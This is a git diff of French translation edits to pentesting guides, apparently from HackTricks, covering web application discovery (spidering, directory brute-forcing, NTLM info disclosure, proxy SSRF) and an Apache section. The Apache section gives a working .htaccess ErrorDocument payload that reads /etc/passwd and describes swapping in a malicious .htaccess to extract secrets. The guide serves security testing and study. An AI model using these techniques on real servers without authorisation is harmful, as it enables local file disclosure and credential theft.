[**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -149,15 +148,15 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> À ce stade vous devriez déjà avoir quelques informations sur le serveur web utilisé par le client (si des données sont fournies) et quelques astuces à garder en tête pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et lancé un scanner. +> À ce stade, vous devriez déjà disposer de certaines informations sur le web server utilisé par le client (si des données sont fournies) et de quelques astuces à garder en tête pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et lancé un scanner. -## Step-by-step Web Application Discovery +## Étape par étape : Web Application Discovery -> À partir de ce point, nous allons commencer à interagir avec l'application web. +> À partir de maintenant nous allons commencer à interagir avec l'application web. -### Initial checks +### Vérifications initiales -**Default pages with interesting info:** +**Pages par défaut contenant des informations intéressantes :** - /robots.txt - /sitemap.xml @@ -166,28 +165,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /.well-known/ - Vérifiez aussi les commentaires dans les pages principales et secondaires. -**Forcing errors** +**Forcer des erreurs** -Les serveurs web peuvent **se comporter de manière inattendue** lorsque des données étranges leur sont envoyées. Cela peut ouvrir des **vulnérabilités** ou entraîner la **divulgation d'informations sensibles**. +Les web servers peuvent **se comporter de manière inattendue** lorsque des données bizarres leur sont envoyées. Cela peut ouvrir des **vulnerabilities** ou provoquer la **disclosure sensitive information**. - Accédez à des **pages factices** comme /whatever_fake.php (.aspx,.html,.etc) -- **Ajoutez "\[]", "]]", and "\[\["** dans les **valeurs de cookie** et les **valeurs de paramètres** pour provoquer des erreurs -- Générez une erreur en fournissant en entrée **`/~randomthing/%s`** à la **fin** de l'**URL** -- Essayez différents **HTTP Verbs** comme PATCH, DEBUG ou incorrects comme FAKE +- **Ajoutez "\[]", "]]", et "\[\["** dans les **cookie values** et les **parameter** values pour provoquer des erreurs +- Générer une erreur en donnant en entrée **`/~randomthing/%s`** à la **fin** de l'**URL** +- Essayez **différents HTTP Verbs** comme PATCH, DEBUG ou même des verbes invalides comme FAKE #### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Si vous découvrez que **WebDav** est **activé** mais que vous n'avez pas suffisamment de permissions pour **uploading files** dans le dossier racine, essayez de : +Si vous constatez que **WebDav** est **enabled** mais que vous n'avez pas suffisamment de permissions pour **uploading files** dans le dossier racine, essayez de : - **Brute Force** credentials -- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders. +- **Upload files** via WebDav dans le **reste** des **found folders** présents dans la page web. Il se peut que vous ayez la permission d'uploader des fichiers dans d'autres dossiers. -### **SSL/TLS vulnerabilites** +### **SSL/TLS Vulnerabilités** -- Si l'application **n'impose pas l'utilisation de HTTPS** dans une quelconque partie, alors elle est **vulnérable à MitM** +- Si l'application **n'oblige pas l'utilisation de HTTPS** dans une quelconque partie, alors elle est **vulnerable to MitM** - Si l'application **envoie des données sensibles (passwords) via HTTP**. Alors c'est une vulnérabilité élevée. -Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (Dans les programmes Bug Bounty probablement ce genre de vulnérabilités ne sera pas accepté) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: +Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnerabilities** (dans les programmes Bug Bounty, ce type de vulnérabilités est probablement rarement accepté) et utilisez [**a2sv**](https://github.com/hahwul/a2sv) pour recontrôler les vulnerabilities : ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -203,53 +202,53 @@ Information about SSL/TLS vulnerabilities: ### Spidering -Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible. +Lancez une sorte de **spider** dans l'application web. L'objectif du spider est de **trouver autant de chemins que possible** depuis l'application testée. Par conséquent, le crawling web et les sources externes doivent être utilisés pour découvrir le plus de chemins valides possible. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile -- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools. -- [**subjs**](https://github.com/lc/subjs) (go): Find JS files. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, avec LinkFider pour les fichiers JS et Archive.org comme source externe. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, indique aussi les "juicy files". +- [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactive HTML spider. Il recherche aussi dans Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): Cet outil n'est pas un spider mais peut être utile. Vous pouvez spécifier un fichier d'hôtes et un fichier de chemins ; meg récupérera chaque chemin sur chaque hôte et sauvegardera la réponse. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider avec capacités de rendu JS. Cependant, il semble non maintenu, la version précompilée est ancienne et le code actuel ne compile pas. +- [**gau**](https://github.com/lc/gau) (go): HTML spider qui utilise des fournisseurs externes (wayback, otx, commoncrawl) +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ce script trouve des URLs avec paramètres et les liste. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider avec rendu JS. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, avec capacités de beautify JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut être intéressant aussi de regarder [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Pour extraire des endpoints dans le source HTML et dans les fichiers javascript embarqués. Utile pour bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Script python 2.7 utilisant Tornado et JSBeautifier pour parser des URLs relatives à partir de fichiers JavaScript. Utile pour découvrir facilement des requêtes AJAX. Semble non maintenu. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Donné un fichier (HTML) il extraira les URLs en utilisant une expression régulière astucieuse pour trouver et extraire les URLs relatives de fichiers uglifiés (minifiés). +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils): Rassemble des informations intéressantes depuis les fichiers JS en utilisant plusieurs outils. +- [**subjs**](https://github.com/lc/subjs) (go): Trouver des fichiers JS. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Charge une page dans un navigateur headless et affiche toutes les urls chargées pour afficher la page. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Outil de discovery de contenu mélangeant plusieurs options des outils précédents. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Une extension Burp pour trouver chemins et params dans les fichiers JS. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Un outil qui, donné l'URL du .js.map, récupérera le code JS beautifié. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Outil utilisé pour découvrir des endpoints pour une cible donnée. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvrir des liens depuis la wayback machine (télécharge aussi les réponses dans la wayback et recherche d'autres liens). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (même en remplissant des formulaires) et trouve aussi des infos sensibles en utilisant des regexs spécifiques. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite est un crawler/spider GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): C'est un package Go et un [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire URLs, chemins, secrets et autres données intéressantes depuis le code source JavaScript. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge est une simple **Burp Suite extension** pour **extraire les paramters et endpoints** de la requête afin de créer des wordlists personnalisées pour le fuzzing et l'énumération. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Outil excellent pour cela. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Affiche chaque lien qu'il est capable de trouver. ### Brute Force directories and files -Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ -Tools: +Commencez le **brute-forcing** depuis le dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** et préfixer dans le wordlist utilisé les noms des répertoires trouvés).\ +Outils : -- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** +- **Dirb** / **Dirbuster** - Inclus dans Kali, **vieux** (et **lent**) mais fonctionnel. Permet certificats auto-signés et recherche récursive. Trop lent comparé aux autres options. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il n'autorise pas les certificats auto-signés mais** permet la recherche récursive. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Il permet les certificats auto-signés, il **n'a pas** de recherche **récursive**. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, supporte la recherche récursive.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` -- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) -- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. +- [**ffuf** ](https://github.com/ffuf/ffuf)- Rapide: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` +- [**uro**](https://github.com/s0md3v/uro) (python): Ce n'est pas un spider mais un outil qui, donné la liste d'URLs trouvées, supprimera les URLs "dupliquées". +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension pour créer une liste de répertoires depuis l'historique burp de différentes pages. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Supprime les URLs avec des fonctionnalités dupliquées (basé sur les imports js). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Utilise wapalyzer pour détecter les technologies utilisées et sélectionner les wordlists à utiliser. -**Recommended dictionaries:** +**Dictionnaires recommandés :** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -268,41 +267,41 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +_Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute-forcing ou le spidering, il doit être Brute-Forced._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers -- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trouver les liens cassés dans les HTMLs qui peuvent être susceptibles de takeover. +- **File Backups**: Une fois que vous avez trouvé tous les fichiers, cherchez des backups de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Variantes communes de nommage pour un backup : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez aussi utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramètres cachés. Si possible, essayez de rechercher** des paramètres cachés sur chaque fichier web exécutable. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**. -- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page. -- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. -- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html). +- **Commentaires :** Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **credentials** ou des **fonctionnalités cachées**. +- Si vous jouez en **CTF**, une astuce "classique" est de **cacher** des **informations** dans des commentaires à droite de la **page** (en utilisant des **centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source dans le navigateur). Autre possibilité : utiliser **plusieurs sauts de ligne** et **cacher des informations** dans un commentaire en bas de la page web. +- **API keys**: Si vous **trouvez une API key** il existe des guides indiquant comment utiliser les API keys de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Si vous trouvez une API key commençant par **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles APIs la clé peut accéder. +- **S3 Buckets**: Pendant le spidering, regardez si un **subdomain** ou un **lien** est lié à un **S3 bucket**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/index.html). ### Special findings -**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. +**Pendant** le **spidering** et le **brute-forcing** vous pouvez trouver des **choses** **intéressantes** qu'il faut **remarquer**. -**Interesting files** +**Fichiers intéressants** -- Look for **links** to other files inside the **CSS** files. -- [If you find a _**.git**_ file some information can be extracted](git.md) -- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found. -- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them. -- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.** -- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable. +- Cherchez des **liens** vers d'autres fichiers dans les fichiers **CSS**. +- [Si vous trouvez un _**.git**_ des informations peuvent être extraites](git.md) +- Si vous trouvez un _**.env**_ des informations telles que des api keys, mots de passe de dbs et autres informations peuvent être trouvées. +- Si vous trouvez des **API endpoints** vous [devez aussi les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils ressembleront probablement à des fichiers. +- **JS files**: Dans la section spidering plusieurs outils capables d'extraire des chemins depuis les fichiers JS ont été mentionnés. Il serait aussi intéressant de **monitorer chaque fichier JS trouvé**, car parfois un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pouvez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.** +- Vous devriez aussi vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex) -- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality. +- À plusieurs occasions, vous aurez besoin de **comprendre les expressions régulières** utilisées. Cela sera utile : [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex) +- Vous pourriez aussi **monitorer les fichiers où des formulaires ont été détectés**, car un changement dans les paramètres ou l'apparition d'un nouveau formulaire peut indiquer une fonctionnalité potentiellement vulnérable. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,28 +312,28 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri **502 Proxy Error** -If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. +Si une page **répond** avec ce **code**, c'est probablement un **proxy mal configuré**. **Si vous envoyez une requête HTTP comme : `GET https://google.com HTTP/1.1`** (avec l'en-tête Host et d'autres en-têtes communs), le **proxy** va essayer d'**accéder** à _**google.com**_ **et vous aurez trouvé un** SSRF. **NTLM Authentication - Info disclosure** -If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\ -**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\ -You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". +Si le serveur qui demande l'authentification est **Windows** ou si vous trouvez une page de login demandant vos **credentials** (et demandant le **nom** de **domaine**), vous pouvez provoquer une **divulgation d'information**.\ +**Envoyez** l'**en-tête** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et dû à la manière dont fonctionne l'**NTLM authentication**, le serveur répondra avec des infos internes (version IIS, version Windows...) dans l'en-tête "WWW-Authenticate".\ +Vous pouvez **automatiser** cela avec le plugin **nmap** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there. +Il est possible de **mettre du contenu** à l'intérieur d'une **Redirection**. Ce contenu **ne sera pas affiché à l'utilisateur** (puisque le navigateur exécutera la redirection) mais quelque chose pourrait y être **caché**. ### Web Vulnerabilities Checking -Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: +Maintenant qu'une énumération complète de l'application web a été réalisée, il est temps de vérifier un grand nombre de vulnérabilités possibles. Vous pouvez trouver la checklist ici : {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Find more info about web vulns in: +Trouvez plus d'infos sur les vulnérabilités web sur : - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -342,7 +341,7 @@ Find more info about web vulns in: ### Monitor Pages for changes -You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities. +Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour monitorer des pages afin de détecter des modifications qui pourraient introduire des vulnérabilités. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 066a7e6d7..dda80f468 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,7 +4,7 @@ ## Extensions PHP exécutables -Vérifiez quelles extensions PHP sont chargées par le serveur Apache. Pour les rechercher, vous pouvez exécuter : +Vérifiez quelles extensions sont exécutées par le serveur Apache. Pour les rechercher, vous pouvez exécuter : ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` @@ -23,11 +23,11 @@ Linux ``` ## LFI via .htaccess ErrorDocument file provider (ap_expr) -Si vous pouvez contrôler le .htaccess d'un répertoire et que AllowOverride inclut FileInfo pour ce chemin, vous pouvez transformer les réponses 404 en lectures arbitraires de fichiers locaux en utilisant la fonction ap_expr file() à l'intérieur d'ErrorDocument. +Si vous pouvez contrôler le .htaccess d’un répertoire et qu’AllowOverride inclut FileInfo pour ce chemin, vous pouvez transformer les réponses 404 en lectures arbitraires de fichiers locaux en utilisant la fonction ap_expr file() à l’intérieur d’ErrorDocument. - Exigences : -- Apache 2.4 avec le parser d'expressions (ap_expr) activé (par défaut dans 2.4). -- Le vhost/dir doit permettre au .htaccess de définir ErrorDocument (AllowOverride FileInfo). +- Apache 2.4 avec expression parser (ap_expr) activé (par défaut en 2.4). +- Le vhost/dir doit permettre à .htaccess de définir ErrorDocument (AllowOverride FileInfo). - L'utilisateur worker d'Apache doit avoir les permissions de lecture sur le fichier cible. .htaccess payload: @@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -Se déclenche en demandant n'importe quel chemin inexistant sous ce répertoire, par exemple lors de l'abus de userdir-style hosting: +Se déclenche en demandant n'importe quel non-existing path sous ce directory, par exemple lors de l'abus de userdir-style hosting : ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` -Notes et astuces: -- Seuls les chemins absolus fonctionnent. Le contenu est renvoyé comme corps de la réponse pour le handler 404. -- Les permissions de lecture effectives sont celles de l'utilisateur Apache (typiquement www-data/apache). Vous ne pourrez pas lire /root/* ou /etc/shadow dans des configurations par défaut. -- Même si .htaccess appartient à root, si le répertoire parent appartient au tenant et permet le renommage, vous pourriez être capable de renommer le .htaccess original et uploader votre propre remplacement via SFTP/FTP : +Notes et conseils : +- Seuls les chemins absolus fonctionnent. Le contenu est renvoyé comme corps de réponse par le handler 404. +- Les permissions de lecture effectives sont celles de l'utilisateur Apache (typiquement www-data/apache). Vous ne pourrez pas lire /root/* ni /etc/shadow dans des configurations par défaut. +- Même si .htaccess appartient à root, si le répertoire parent appartient au tenant et permet le renommage, il se peut que vous puissiez renommer le .htaccess original et téléverser votre propre remplacement via SFTP/FTP : - rename .htaccess .htaccess.bk - put your malicious .htaccess -- Utilisez ceci pour lire le code source de l'application sous DocumentRoot ou les chemins de config vhost afin de récupérer des secrets (DB creds, API keys, etc.). +- Utilisez cela pour lire le code source de l'application sous DocumentRoot ou les chemins de config vhost afin de récupérer des secrets (DB creds, API keys, etc.). ## Confusion Attack -These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following 